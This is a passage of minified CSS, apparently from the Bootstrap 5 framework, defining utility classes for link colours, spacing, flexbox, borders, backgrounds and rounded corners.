BA(32,98,145,var(--bs-link-opacity,1))!important;-webkit-text-decoration-color:RGBA(32,98,145,var(--bs-link-underline-opacity,1))!important;text-decoration-color:RGBA(32,98,145,var(--bs-link-underline-opacity,1))!important}.link-warning{color:RGBA(var(--bs-warning-rgb),var(--bs-link-opacity,1))!important;-webkit-text-decoration-color:RGBA(var(--bs-warning-rgb),var(--bs-link-underline-opacity,1))!important;text-decoration-color:RGBA(var(--bs-warning-rgb),var(--bs-link-underline-opacity,1))!important}.link-warning:focus,.link-warning:hover{color:RGBA(195,151,78,var(--bs-link-opacity,1))!important;-webkit-text-decoration-color:RGBA(195,151,78,var(--bs-link-underline-opacity,1))!important;text-decoration-color:RGBA(195,151,78,var(--bs-link-underline-opacity,1))!important}.link-danger{color:RGBA(var(--bs-danger-rgb),var(--bs-link-opacity,1))!important;-webkit-text-decoration-color:RGBA(var(--bs-danger-rgb),var(--bs-link-underline-opacity,1))!important;text-decoration-color:RGBA(var(--bs-danger-rgb),var(--bs-link-underline-opacity,1))!important}.link-danger:focus,.link-danger:hover{color:RGBA(174,33,37,var(--bs-link-opacity,1))!important;-webkit-text-decoration-color:RGBA(174,33,37,var(--bs-link-underline-opacity,1))!important;text-decoration-color:RGBA(174,33,37,var(--bs-link-underline-opacity,1))!important}.link-light{color:RGBA(var(--bs-light-rgb),var(--bs-link-opacity,1))!important;-webkit-text-decoration-color:RGBA(var(--bs-light-rgb),var(--bs-link-underline-opacity,1))!important;text-decoration-color:RGBA(var(--bs-light-rgb),var(--bs-link-underline-opacity,1))!important}.link-light:focus,.link-light:hover{color:RGBA(249,250,251,var(--bs-link-opacity,1))!important;-webkit-text-decoration-color:RGBA(249,250,251,var(--bs-link-underline-opacity,1))!important;text-decoration-color:RGBA(249,250,251,var(--bs-link-underline-opacity,1))!important}.link-dark{color:RGBA(var(--bs-dark-rgb),var(--bs-link-opacity,1))!important;-webkit-text-decoration-color:RGBA(var(--bs-dark-rgb),var(--bs-link-underline-opacity,1))!important;text-decoration-color:RGBA(var(--bs-dark-rgb),var(--bs-link-underline-opacity,1))!important}.link-dark:focus,.link-dark:hover{color:RGBA(26,30,33,var(--bs-link-opacity,1))!important;-webkit-text-decoration-color:RGBA(26,30,33,var(--bs-link-underline-opacity,1))!important;text-decoration-color:RGBA(26,30,33,var(--bs-link-underline-opacity,1))!important}.link-body-emphasis{color:RGBA(var(--bs-emphasis-color-rgb),var(--bs-link-opacity,1))!important;-webkit-text-decoration-color:RGBA(var(--bs-emphasis-color-rgb),var(--bs-link-underline-opacity,1))!important;text-decoration-color:RGBA(var(--bs-emphasis-color-rgb),var(--bs-link-underline-opacity,1))!important}.link-body-emphasis:focus,.link-body-emphasis:hover{color:RGBA(var(--bs-emphasis-color-rgb),var(--bs-link-opacity,.75))!important;-webkit-text-decoration-color:RGBA(var(--bs-emphasis-color-rgb),var(--bs-link-underline-opacity,0.75))!important;text-decoration-color:RGBA(var(--bs-emphasis-color-rgb),var(--bs-link-underline-opacity,0.75))!important}.focus-ring:focus{outline:0;box-shadow:var(--bs-focus-ring-x,0) var(--bs-focus-ring-y,0) var(--bs-focus-ring-blur,0) var(--bs-focus-ring-width) var(--bs-focus-ring-color)}.icon-link{display:inline-flex;gap:.375rem;align-items:center;-webkit-text-decoration-color:rgba(var(--bs-link-color-rgb),var(--bs-link-opacity,0.5));text-decoration-color:rgba(var(--bs-link-color-rgb),var(--bs-link-opacity,0.5));text-underline-offset:0.25em;-webkit-backface-visibility:hidden;backface-visibility:hidden}.icon-link>.bi{flex-shrink:0;width:1em;height:1em;fill:currentcolor;transition:.2s ease-in-out transform}@media (prefers-reduced-motion:reduce){.icon-link>.bi{transition:none}}.icon-link-hover:focus-visible>.bi,.icon-link-hover:hover>.bi{transform:var(--bs-icon-link-transform,translate3d(.25em,0,0))}.ratio{position:relative;width:100%}.ratio::before{display:block;padding-top:var(--bs-aspect-ratio);content:""}.ratio>*{position:absolute;top:0;left:0;width:100%;height:100%}.ratio-1x1{--bs-aspect-ratio:100%}.ratio-4x3{--bs-aspect-ratio:75%}.ratio-16x9{--bs-aspect-ratio:56.25%}.ratio-21x9{--bs-aspect-ratio:42.8571428571%}.fixed-top{position:fixed;top:0;right:0;left:0;z-index:1030}.fixed-bottom{position:fixed;right:0;bottom:0;left:0;z-index:1030}.sticky-top{position:-webkit-sticky;position:sticky;top:0;z-index:1020}.sticky-bottom{position:-webkit-sticky;position:sticky;bottom:0;z-index:1020}@media (min-width:576px){.sticky-sm-top{position:-webkit-sticky;position:sticky;top:0;z-index:1020}.sticky-sm-bottom{position:-webkit-sticky;position:sticky;bottom:0;z-index:1020}}@media (min-width:768px){.sticky-md-top{position:-webkit-sticky;position:sticky;top:0;z-index:1020}.sticky-md-bottom{position:-webkit-sticky;position:sticky;bottom:0;z-index:1020}}@media (min-width:992px){.sticky-lg-top{position:-webkit-sticky;position:sticky;top:0;z-index:1020}.sticky-lg-bottom{position:-webkit-sticky;position:sticky;bottom:0;z-index:1020}}@media (min-width:1200px){.sticky-xl-top{position:-webkit-sticky;position:sticky;top:0;z-index:1020}.sticky-xl-bottom{position:-webkit-sticky;position:sticky;bottom:0;z-index:1020}}@media (min-width:1400px){.sticky-xxl-top{position:-webkit-sticky;position:sticky;top:0;z-index:1020}.sticky-xxl-bottom{position:-webkit-sticky;position:sticky;bottom:0;z-index:1020}}.hstack{display:flex;flex-direction:row;align-items:center;align-self:stretch}.vstack{display:flex;flex:1 1 auto;flex-direction:column;align-self:stretch}.visually-hidden,.visually-hidden-focusable:not(:focus):not(:focus-within){width:1px!important;height:1px!important;padding:0!important;margin:-1px!important;overflow:hidden!important;clip:rect(0,0,0,0)!important;white-space:nowrap!important;border:0!important}.visually-hidden-focusable:not(:focus):not(:focus-within):not(caption),.visually-hidden:not(caption){position:absolute!important}.stretched-link::after{position:absolute;top:0;right:0;bottom:0;left:0;z-index:1;content:""}.text-truncate{overflow:hidden;text-overflow:ellipsis;white-space:nowrap}.vr{display:inline-block;align-self:stretch;width:var(--bs-border-width);min-height:1em;background-color:currentcolor;opacity:.25}.align-baseline{vertical-align:baseline!important}.align-top{vertical-align:top!important}.align-middle{vertical-align:middle!important}.align-bottom{vertical-align:bottom!important}.align-text-bottom{vertical-align:text-bottom!important}.align-text-top{vertical-align:text-top!important}.float-start{float:left!important}.float-end{float:right!important}.float-none{float:none!important}.object-fit-contain{-o-object-fit:contain!important;object-fit:contain!important}.object-fit-cover{-o-object-fit:cover!important;object-fit:cover!important}.object-fit-fill{-o-object-fit:fill!important;object-fit:fill!important}.object-fit-scale{-o-object-fit:scale-down!important;object-fit:scale-down!important}.object-fit-none{-o-object-fit:none!important;object-fit:none!important}.opacity-0{opacity:0!important}.opacity-25{opacity:.25!important}.opacity-50{opacity:.5!important}.opacity-75{opacity:.75!important}.opacity-100{opacity:1!important}.overflow-auto{overflow:auto!important}.overflow-hidden{overflow:hidden!important}.overflow-visible{overflow:visible!important}.overflow-scroll{overflow:scroll!important}.overflow-x-auto{overflow-x:auto!important}.overflow-x-hidden{overflow-x:hidden!important}.overflow-x-visible{overflow-x:visible!important}.overflow-x-scroll{overflow-x:scroll!important}.overflow-y-auto{overflow-y:auto!important}.overflow-y-hidden{overflow-y:hidden!important}.overflow-y-visible{overflow-y:visible!important}.overflow-y-scroll{overflow-y:scroll!important}.d-inline{display:inline!important}.d-inline-block{display:inline-block!important}.d-block{display:block!important}.d-grid{display:grid!important}.d-inline-grid{display:inline-grid!important}.d-table{display:table!important}.d-table-row{display:table-row!important}.d-table-cell{display:table-cell!important}.d-flex{display:flex!important}.d-inline-flex{display:inline-flex!important}.d-none{display:none!important}.shadow{box-shadow:var(--bs-box-shadow)!important}.shadow-sm{box-shadow:var(--bs-box-shadow-sm)!important}.shadow-lg{box-shadow:var(--bs-box-shadow-lg)!important}.shadow-none{box-shadow:none!important}.focus-ring-primary{--bs-focus-ring-color:rgba(var(--bs-primary-rgb), var(--bs-focus-ring-opacity))}.focus-ring-secondary{--bs-focus-ring-color:rgba(var(--bs-secondary-rgb), var(--bs-focus-ring-opacity))}.focus-ring-success{--bs-focus-ring-color:rgba(var(--bs-success-rgb), var(--bs-focus-ring-opacity))}.focus-ring-info{--bs-focus-ring-color:rgba(var(--bs-info-rgb), var(--bs-focus-ring-opacity))}.focus-ring-warning{--bs-focus-ring-color:rgba(var(--bs-warning-rgb), var(--bs-focus-ring-opacity))}.focus-ring-danger{--bs-focus-ring-color:rgba(var(--bs-danger-rgb), var(--bs-focus-ring-opacity))}.focus-ring-light{--bs-focus-ring-color:rgba(var(--bs-light-rgb), var(--bs-focus-ring-opacity))}.focus-ring-dark{--bs-focus-ring-color:rgba(var(--bs-dark-rgb), var(--bs-focus-ring-opacity))}.position-static{position:static!important}.position-relative{position:relative!important}.position-absolute{position:absolute!important}.position-fixed{position:fixed!important}.position-sticky{position:-webkit-sticky!important;position:sticky!important}.top-0{top:0!important}.top-50{top:50%!important}.top-100{top:100%!important}.bottom-0{bottom:0!important}.bottom-50{bottom:50%!important}.bottom-100{bottom:100%!important}.start-0{left:0!important}.start-50{left:50%!important}.start-100{left:100%!important}.end-0{right:0!important}.end-50{right:50%!important}.end-100{right:100%!important}.translate-middle{transform:translate(-50%,-50%)!important}.translate-middle-x{transform:translateX(-50%)!important}.translate-middle-y{transform:translateY(-50%)!important}.border{border:var(--bs-border-width) var(--bs-border-style) var(--bs-border-color)!important}.border-0{border:0!important}.border-top{border-top:var(--bs-border-width) var(--bs-border-style) var(--bs-border-color)!important}.border-top-0{border-top:0!important}.border-end{border-right:var(--bs-border-width) var(--bs-border-style) var(--bs-border-color)!important}.border-end-0{border-right:0!important}.border-bottom{border-bottom:var(--bs-border-width) var(--bs-border-style) var(--bs-border-color)!important}.border-bottom-0{border-bottom:0!important}.border-start{border-left:var(--bs-border-width) var(--bs-border-style) var(--bs-border-color)!important}.border-start-0{border-left:0!important}.border-primary{--bs-border-opacity:1;border-color:rgba(var(--bs-primary-rgb),var(--bs-border-opacity))!important}.border-secondary{--bs-border-opacity:1;border-color:rgba(var(--bs-secondary-rgb),var(--bs-border-opacity))!important}.border-success{--bs-border-opacity:1;border-color:rgba(var(--bs-success-rgb),var(--bs-border-opacity))!important}.border-info{--bs-border-opacity:1;border-color:rgba(var(--bs-info-rgb),var(--bs-border-opacity))!important}.border-warning{--bs-border-opacity:1;border-color:rgba(var(--bs-warning-rgb),var(--bs-border-opacity))!important}.border-danger{--bs-border-opacity:1;border-color:rgba(var(--bs-danger-rgb),var(--bs-border-opacity))!important}.border-light{--bs-border-opacity:1;border-color:rgba(var(--bs-light-rgb),var(--bs-border-opacity))!important}.border-dark{--bs-border-opacity:1;border-color:rgba(var(--bs-dark-rgb),var(--bs-border-opacity))!important}.border-black{--bs-border-opacity:1;border-color:rgba(var(--bs-black-rgb),var(--bs-border-opacity))!important}.border-white{--bs-border-opacity:1;border-color:rgba(var(--bs-white-rgb),var(--bs-border-opacity))!important}.border-primary-subtle{border-color:var(--bs-primary-border-subtle)!important}.border-secondary-subtle{border-color:var(--bs-secondary-border-subtle)!important}.border-success-subtle{border-color:var(--bs-success-border-subtle)!important}.border-info-subtle{border-color:var(--bs-info-border-subtle)!important}.border-warning-subtle{border-color:var(--bs-warning-border-subtle)!important}.border-danger-subtle{border-color:var(--bs-danger-border-subtle)!important}.border-light-subtle{border-color:var(--bs-light-border-subtle)!important}.border-dark-subtle{border-color:var(--bs-dark-border-subtle)!important}.border-1{border-width:1px!important}.border-2{border-width:2px!important}.border-3{border-width:3px!important}.border-4{border-width:4px!important}.border-5{border-width:5px!important}.border-opacity-10{--bs-border-opacity:0.1}.border-opacity-25{--bs-border-opacity:0.25}.border-opacity-50{--bs-border-opacity:0.5}.border-opacity-75{--bs-border-opacity:0.75}.border-opacity-100{--bs-border-opacity:1}.w-25{width:25%!important}.w-50{width:50%!important}.w-75{width:75%!important}.w-100{width:100%!important}.w-auto{width:auto!important}.mw-100{max-width:100%!important}.vw-100{width:100vw!important}.min-vw-100{min-width:100vw!important}.h-25{height:25%!important}.h-50{height:50%!important}.h-75{height:75%!important}.h-100{height:100%!important}.h-auto{height:auto!important}.mh-100{max-height:100%!important}.vh-100{height:100vh!important}.min-vh-100{min-height:100vh!important}.flex-fill{flex:1 1 auto!important}.flex-row{flex-direction:row!important}.flex-column{flex-direction:column!important}.flex-row-reverse{flex-direction:row-reverse!important}.flex-column-reverse{flex-direction:column-reverse!important}.flex-grow-0{flex-grow:0!important}.flex-grow-1{flex-grow:1!important}.flex-shrink-0{flex-shrink:0!important}.flex-shrink-1{flex-shrink:1!important}.flex-wrap{flex-wrap:wrap!important}.flex-nowrap{flex-wrap:nowrap!important}.flex-wrap-reverse{flex-wrap:wrap-reverse!important}.justify-content-start{justify-content:flex-start!important}.justify-content-end{justify-content:flex-end!important}.justify-content-center{justify-content:center!important}.justify-content-between{justify-content:space-between!important}.justify-content-around{justify-content:space-around!important}.justify-content-evenly{justify-content:space-evenly!important}.align-items-start{align-items:flex-start!important}.align-items-end{align-items:flex-end!important}.align-items-center{align-items:center!important}.align-items-baseline{align-items:baseline!important}.align-items-stretch{align-items:stretch!important}.align-content-start{align-content:flex-start!important}.align-content-end{align-content:flex-end!important}.align-content-center{align-content:center!important}.align-content-between{align-content:space-between!important}.align-content-around{align-content:space-around!important}.align-content-stretch{align-content:stretch!important}.align-self-auto{align-self:auto!important}.align-self-start{align-self:flex-start!important}.align-self-end{align-self:flex-end!important}.align-self-center{align-self:center!important}.align-self-baseline{align-self:baseline!important}.align-self-stretch{align-self:stretch!important}.order-first{order:-1!important}.order-0{order:0!important}.order-1{order:1!important}.order-2{order:2!important}.order-3{order:3!important}.order-4{order:4!important}.order-5{order:5!important}.order-last{order:6!important}.m-0{margin:0!important}.m-1{margin:.25rem!important}.m-2{margin:.5rem!important}.m-3{margin:1rem!important}.m-4{margin:1.5rem!important}.m-5{margin:3rem!important}.m-auto{margin:auto!important}.mx-0{margin-right:0!important;margin-left:0!important}.mx-1{margin-right:.25rem!important;margin-left:.25rem!important}.mx-2{margin-right:.5rem!important;margin-left:.5rem!important}.mx-3{margin-right:1rem!important;margin-left:1rem!important}.mx-4{margin-right:1.5rem!important;margin-left:1.5rem!important}.mx-5{margin-right:3rem!important;margin-left:3rem!important}.mx-auto{margin-right:auto!important;margin-left:auto!important}.my-0{margin-top:0!important;margin-bottom:0!important}.my-1{margin-top:.25rem!important;margin-bottom:.25rem!important}.my-2{margin-top:.5rem!important;margin-bottom:.5rem!important}.my-3{margin-top:1rem!important;margin-bottom:1rem!important}.my-4{margin-top:1.5rem!important;margin-bottom:1.5rem!important}.my-5{margin-top:3rem!important;margin-bottom:3rem!important}.my-auto{margin-top:auto!important;margin-bottom:auto!important}.mt-0{margin-top:0!important}.mt-1{margin-top:.25rem!important}.mt-2{margin-top:.5rem!important}.mt-3{margin-top:1rem!important}.mt-4{margin-top:1.5rem!important}.mt-5{margin-top:3rem!important}.mt-auto{margin-top:auto!important}.me-0{margin-right:0!important}.me-1{margin-right:.25rem!important}.me-2{margin-right:.5rem!important}.me-3{margin-right:1rem!important}.me-4{margin-right:1.5rem!important}.me-5{margin-right:3rem!important}.me-auto{margin-right:auto!important}.mb-0{margin-bottom:0!important}.mb-1{margin-bottom:.25rem!important}.mb-2{margin-bottom:.5rem!important}.mb-3{margin-bottom:1rem!important}.mb-4{margin-bottom:1.5rem!important}.mb-5{margin-bottom:3rem!important}.mb-auto{margin-bottom:auto!important}.ms-0{margin-left:0!important}.ms-1{margin-left:.25rem!important}.ms-2{margin-left:.5rem!important}.ms-3{margin-left:1rem!important}.ms-4{margin-left:1.5rem!important}.ms-5{margin-left:3rem!important}.ms-auto{margin-left:auto!important}.p-0{padding:0!important}.p-1{padding:.25rem!important}.p-2{padding:.5rem!important}.p-3{padding:1rem!important}.p-4{padding:1.5rem!important}.p-5{padding:3rem!important}.px-0{padding-right:0!important;padding-left:0!important}.px-1{padding-right:.25rem!important;padding-left:.25rem!important}.px-2{padding-right:.5rem!important;padding-left:.5rem!important}.px-3{padding-right:1rem!important;padding-left:1rem!important}.px-4{padding-right:1.5rem!important;padding-left:1.5rem!important}.px-5{padding-right:3rem!important;padding-left:3rem!important}.py-0{padding-top:0!important;padding-bottom:0!important}.py-1{padding-top:.25rem!important;padding-bottom:.25rem!important}.py-2{padding-top:.5rem!important;padding-bottom:.5rem!important}.py-3{padding-top:1rem!important;padding-bottom:1rem!important}.py-4{padding-top:1.5rem!important;padding-bottom:1.5rem!important}.py-5{padding-top:3rem!important;padding-bottom:3rem!important}.pt-0{padding-top:0!important}.pt-1{padding-top:.25rem!important}.pt-2{padding-top:.5rem!important}.pt-3{padding-top:1rem!important}.pt-4{padding-top:1.5rem!important}.pt-5{padding-top:3rem!important}.pe-0{padding-right:0!important}.pe-1{padding-right:.25rem!important}.pe-2{padding-right:.5rem!important}.pe-3{padding-right:1rem!important}.pe-4{padding-right:1.5rem!important}.pe-5{padding-right:3rem!important}.pb-0{padding-bottom:0!important}.pb-1{padding-bottom:.25rem!important}.pb-2{padding-bottom:.5rem!important}.pb-3{padding-bottom:1rem!important}.pb-4{padding-bottom:1.5rem!important}.pb-5{padding-bottom:3rem!important}.ps-0{padding-left:0!important}.ps-1{padding-left:.25rem!important}.ps-2{padding-left:.5rem!important}.ps-3{padding-left:1rem!important}.ps-4{padding-left:1.5rem!important}.ps-5{padding-left:3rem!important}.gap-0{gap:0!important}.gap-1{gap:.25rem!important}.gap-2{gap:.5rem!important}.gap-3{gap:1rem!important}.gap-4{gap:1.5rem!important}.gap-5{gap:3rem!important}.row-gap-0{row-gap:0!important}.row-gap-1{row-gap:.25rem!important}.row-gap-2{row-gap:.5rem!important}.row-gap-3{row-gap:1rem!important}.row-gap-4{row-gap:1.5rem!important}.row-gap-5{row-gap:3rem!important}.column-gap-0{-moz-column-gap:0!important;column-gap:0!important}.column-gap-1{-moz-column-gap:0.25rem!important;column-gap:.25rem!important}.column-gap-2{-moz-column-gap:0.5rem!important;column-gap:.5rem!important}.column-gap-3{-moz-column-gap:1rem!important;column-gap:1rem!important}.column-gap-4{-moz-column-gap:1.5rem!important;column-gap:1.5rem!important}.column-gap-5{-moz-column-gap:3rem!important;column-gap:3rem!important}.font-monospace{font-family:var(--bs-font-monospace)!important}.fs-1{font-size:calc(1.375rem + 1.5vw)!important}.fs-2{font-size:calc(1.325rem + .9vw)!important}.fs-3{font-size:calc(1.3rem + .6vw)!important}.fs-4{font-size:calc(1.275rem + .3vw)!important}.fs-5{font-size:1.25rem!important}.fs-6{font-size:1rem!important}.fst-italic{font-style:italic!important}.fst-normal{font-style:normal!important}.fw-lighter{font-weight:lighter!important}.fw-light{font-weight:300!important}.fw-normal{font-weight:400!important}.fw-medium{font-weight:500!important}.fw-semibold{font-weight:600!important}.fw-bold{font-weight:700!important}.fw-bolder{font-weight:bolder!important}.lh-1{line-height:1!important}.lh-sm{line-height:1.25!important}.lh-base{line-height:1.5!important}.lh-lg{line-height:2!important}.text-start{text-align:left!important}.text-end{text-align:right!important}.text-center{text-align:center!important}.text-decoration-none{text-decoration:none!important}.text-decoration-underline{text-decoration:underline!important}.text-decoration-line-through{text-decoration:line-through!important}.text-lowercase{text-transform:lowercase!important}.text-uppercase{text-transform:uppercase!important}.text-capitalize{text-transform:capitalize!important}.text-wrap{white-space:normal!important}.text-nowrap{white-space:nowrap!important}.text-break{word-wrap:break-word!important;word-break:break-word!important}.text-primary{--bs-text-opacity:1;color:rgba(var(--bs-primary-rgb),var(--bs-text-opacity))!important}.text-secondary{--bs-text-opacity:1;color:rgba(var(--bs-secondary-rgb),var(--bs-text-opacity))!important}.text-success{--bs-text-opacity:1;color:rgba(var(--bs-success-rgb),var(--bs-text-opacity))!important}.text-info{--bs-text-opacity:1;color:rgba(var(--bs-info-rgb),var(--bs-text-opacity))!important}.text-warning{--bs-text-opacity:1;color:rgba(var(--bs-warning-rgb),var(--bs-text-opacity))!important}.text-danger{--bs-text-opacity:1;color:rgba(var(--bs-danger-rgb),var(--bs-text-opacity))!important}.text-light{--bs-text-opacity:1;color:rgba(var(--bs-light-rgb),var(--bs-text-opacity))!important}.text-dark{--bs-text-opacity:1;color:rgba(var(--bs-dark-rgb),var(--bs-text-opacity))!important}.text-black{--bs-text-opacity:1;color:rgba(var(--bs-black-rgb),var(--bs-text-opacity))!important}.text-white{--bs-text-opacity:1;color:rgba(var(--bs-white-rgb),var(--bs-text-opacity))!important}.text-body{--bs-text-opacity:1;color:rgba(var(--bs-body-color-rgb),var(--bs-text-opacity))!important}.text-muted{--bs-text-opacity:1;color:var(--bs-secondary-color)!important}.text-black-50{--bs-text-opacity:1;color:rgba(0,0,0,.5)!important}.text-white-50{--bs-text-opacity:1;color:rgba(255,255,255,.5)!important}.text-body-secondary{--bs-text-opacity:1;color:var(--bs-secondary-color)!important}.text-body-tertiary{--bs-text-opacity:1;color:var(--bs-tertiary-color)!important}.text-body-emphasis{--bs-text-opacity:1;color:var(--bs-emphasis-color)!important}.text-reset{--bs-text-opacity:1;color:inherit!important}.text-opacity-25{--bs-text-opacity:0.25}.text-opacity-50{--bs-text-opacity:0.5}.text-opacity-75{--bs-text-opacity:0.75}.text-opacity-100{--bs-text-opacity:1}.text-primary-emphasis{color:var(--bs-primary-text-emphasis)!important}.text-secondary-emphasis{color:var(--bs-secondary-text-emphasis)!important}.text-success-emphasis{color:var(--bs-success-text-emphasis)!important}.text-info-emphasis{color:var(--bs-info-text-emphasis)!important}.text-warning-emphasis{color:var(--bs-warning-text-emphasis)!important}.text-danger-emphasis{color:var(--bs-danger-text-emphasis)!important}.text-light-emphasis{color:var(--bs-light-text-emphasis)!important}.text-dark-emphasis{color:var(--bs-dark-text-emphasis)!important}.link-opacity-10{--bs-link-opacity:0.1}.link-opacity-10-hover:hover{--bs-link-opacity:0.1}.link-opacity-25{--bs-link-opacity:0.25}.link-opacity-25-hover:hover{--bs-link-opacity:0.25}.link-opacity-50{--bs-link-opacity:0.5}.link-opacity-50-hover:hover{--bs-link-opacity:0.5}.link-opacity-75{--bs-link-opacity:0.75}.link-opacity-75-hover:hover{--bs-link-opacity:0.75}.link-opacity-100{--bs-link-opacity:1}.link-opacity-100-hover:hover{--bs-link-opacity:1}.link-offset-1{text-underline-offset:0.125em!important}.link-offset-1-hover:hover{text-underline-offset:0.125em!important}.link-offset-2{text-underline-offset:0.25em!important}.link-offset-2-hover:hover{text-underline-offset:0.25em!important}.link-offset-3{text-underline-offset:0.375em!important}.link-offset-3-hover:hover{text-underline-offset:0.375em!important}.link-underline-primary{--bs-link-underline-opacity:1;-webkit-text-decoration-color:rgba(var(--bs-primary-rgb),var(--bs-link-underline-opacity))!important;text-decoration-color:rgba(var(--bs-primary-rgb),var(--bs-link-underline-opacity))!important}.link-underline-secondary{--bs-link-underline-opacity:1;-webkit-text-decoration-color:rgba(var(--bs-secondary-rgb),var(--bs-link-underline-opacity))!important;text-decoration-color:rgba(var(--bs-secondary-rgb),var(--bs-link-underline-opacity))!important}.link-underline-success{--bs-link-underline-opacity:1;-webkit-text-decoration-color:rgba(var(--bs-success-rgb),var(--bs-link-underline-opacity))!important;text-decoration-color:rgba(var(--bs-success-rgb),var(--bs-link-underline-opacity))!important}.link-underline-info{--bs-link-underline-opacity:1;-webkit-text-decoration-color:rgba(var(--bs-info-rgb),var(--bs-link-underline-opacity))!important;text-decoration-color:rgba(var(--bs-info-rgb),var(--bs-link-underline-opacity))!important}.link-underline-warning{--bs-link-underline-opacity:1;-webkit-text-decoration-color:rgba(var(--bs-warning-rgb),var(--bs-link-underline-opacity))!important;text-decoration-color:rgba(var(--bs-warning-rgb),var(--bs-link-underline-opacity))!important}.link-underline-danger{--bs-link-underline-opacity:1;-webkit-text-decoration-color:rgba(var(--bs-danger-rgb),var(--bs-link-underline-opacity))!important;text-decoration-color:rgba(var(--bs-danger-rgb),var(--bs-link-underline-opacity))!important}.link-underline-light{--bs-link-underline-opacity:1;-webkit-text-decoration-color:rgba(var(--bs-light-rgb),var(--bs-link-underline-opacity))!important;text-decoration-color:rgba(var(--bs-light-rgb),var(--bs-link-underline-opacity))!important}.link-underline-dark{--bs-link-underline-opacity:1;-webkit-text-decoration-color:rgba(var(--bs-dark-rgb),var(--bs-link-underline-opacity))!important;text-decoration-color:rgba(var(--bs-dark-rgb),var(--bs-link-underline-opacity))!important}.link-underline{--bs-link-underline-opacity:1;-webkit-text-decoration-color:rgba(var(--bs-link-color-rgb),var(--bs-link-underline-opacity,1))!important;text-decoration-color:rgba(var(--bs-link-color-rgb),var(--bs-link-underline-opacity,1))!important}.link-underline-opacity-0{--bs-link-underline-opacity:0}.link-underline-opacity-0-hover:hover{--bs-link-underline-opacity:0}.link-underline-opacity-10{--bs-link-underline-opacity:0.1}.link-underline-opacity-10-hover:hover{--bs-link-underline-opacity:0.1}.link-underline-opacity-25{--bs-link-underline-opacity:0.25}.link-underline-opacity-25-hover:hover{--bs-link-underline-opacity:0.25}.link-underline-opacity-50{--bs-link-underline-opacity:0.5}.link-underline-opacity-50-hover:hover{--bs-link-underline-opacity:0.5}.link-underline-opacity-75{--bs-link-underline-opacity:0.75}.link-underline-opacity-75-hover:hover{--bs-link-underline-opacity:0.75}.link-underline-opacity-100{--bs-link-underline-opacity:1}.link-underline-opacity-100-hover:hover{--bs-link-underline-opacity:1}.bg-primary{--bs-bg-opacity:1;background-color:rgba(var(--bs-primary-rgb),var(--bs-bg-opacity))!important}.bg-secondary{--bs-bg-opacity:1;background-color:rgba(var(--bs-secondary-rgb),var(--bs-bg-opacity))!important}.bg-success{--bs-bg-opacity:1;background-color:rgba(var(--bs-success-rgb),var(--bs-bg-opacity))!important}.bg-info{--bs-bg-opacity:1;background-color:rgba(var(--bs-info-rgb),var(--bs-bg-opacity))!important}.bg-warning{--bs-bg-opacity:1;background-color:rgba(var(--bs-warning-rgb),var(--bs-bg-opacity))!important}.bg-danger{--bs-bg-opacity:1;background-color:rgba(var(--bs-danger-rgb),var(--bs-bg-opacity))!important}.bg-light{--bs-bg-opacity:1;background-color:rgba(var(--bs-light-rgb),var(--bs-bg-opacity))!important}.bg-dark{--bs-bg-opacity:1;background-color:rgba(var(--bs-dark-rgb),var(--bs-bg-opacity))!important}.bg-black{--bs-bg-opacity:1;background-color:rgba(var(--bs-black-rgb),var(--bs-bg-opacity))!important}.bg-white{--bs-bg-opacity:1;background-color:rgba(var(--bs-white-rgb),var(--bs-bg-opacity))!important}.bg-body{--bs-bg-opacity:1;background-color:rgba(var(--bs-body-bg-rgb),var(--bs-bg-opacity))!important}.bg-transparent{--bs-bg-opacity:1;background-color:transparent!important}.bg-body-secondary{--bs-bg-opacity:1;background-color:rgba(var(--bs-secondary-bg-rgb),var(--bs-bg-opacity))!important}.bg-body-tertiary{--bs-bg-opacity:1;background-color:rgba(var(--bs-tertiary-bg-rgb),var(--bs-bg-opacity))!important}.bg-opacity-10{--bs-bg-opacity:0.1}.bg-opacity-25{--bs-bg-opacity:0.25}.bg-opacity-50{--bs-bg-opacity:0.5}.bg-opacity-75{--bs-bg-opacity:0.75}.bg-opacity-100{--bs-bg-opacity:1}.bg-primary-subtle{background-color:var(--bs-primary-bg-subtle)!important}.bg-secondary-subtle{background-color:var(--bs-secondary-bg-subtle)!important}.bg-success-subtle{background-color:var(--bs-success-bg-subtle)!important}.bg-info-subtle{background-color:var(--bs-info-bg-subtle)!important}.bg-warning-subtle{background-color:var(--bs-warning-bg-subtle)!important}.bg-danger-subtle{background-color:var(--bs-danger-bg-subtle)!important}.bg-light-subtle{background-color:var(--bs-light-bg-subtle)!important}.bg-dark-subtle{background-color:var(--bs-dark-bg-subtle)!important}.bg-gradient{background-image:var(--bs-gradient)!important}.user-select-all{-webkit-user-select:all!important;-moz-user-select:all!important;user-select:all!important}.user-select-auto{-webkit-user-select:auto!important;-moz-user-select:auto!important;user-select:auto!important}.user-select-none{-webkit-user-select:none!important;-moz-user-select:none!important;user-select:none!important}.pe-none{pointer-events:none!important}.pe-auto{pointer-events:auto!important}.rounded{border-radius:var(--bs-border-radius)!important}.rounded-0{border-radius:0!important}.rounded-1{border-radius:var(--bs-border-radius-sm)!important}.rounded-2{border-radius:var(--bs-border-radius)!important}.rounded-3{border-radius:var(--bs-border-radius-lg)!important}.rounded-4{border-radius:var(--bs-border-radius-xl)!important}.rounded-5{border-radius:var(--bs-border-radius-xxl)!important}.rounded-circle{border-radius:50%!important}.rounded-pill{border-radius:var(--bs-border-radius-pill)!important}.rounded-top{border-top-left-radius:var(--bs-border-radius)!important;border-top-right-radius:var(--bs-border-radius)!important}.rounded-top-0{border-top-left-radius:0!important;border-top-right-radius:0!important}.rounded-top-1{border-top-left-radius:var(--bs-border-radius-sm)!important;border-top-right-radius:var(--bs-border-radius-sm)!important}.rounded-top-2{border-top-left-radius:var(--bs-border-radius)!important;border-top-right-radius:var(--bs-border-radius)!important}.rounded-top-3{border-top-left-radius:var(--bs-border-radius-lg)!important;border-top-right-radius:var(--bs-border-radius-lg)!important}.rounded-top-4{border-top-left-radius:var(--bs-border-radius-xl)!important;border-top-right-radius:var(--bs-border-radius-xl)!important}.rounded-top-5{border-top-left-radius:var(--bs-border-radius-xxl)!important;border-top-right-radius:var(--bs-border-radius-xxl)!important}.rounded-top-circle{border-top-left-radius:50%!important;border-top-right-radius:50%!important}.rounded-top-pill{border-top-left-radius:var(--bs-border-radius-pill)!important;border-top-right-radius:var(--bs-border-radius-pill)!important}.rounded-end{border-top-right-radius:var(--bs-border-radius)!important;border-bottom-right-radius:var(--bs-border-radius)!important}.rounded-end-0{border-top-right-radius:0!important;border-bottom-right-radius:0!important}.rounded-end-1{border-top-right-radius:var(--bs-border-radius-sm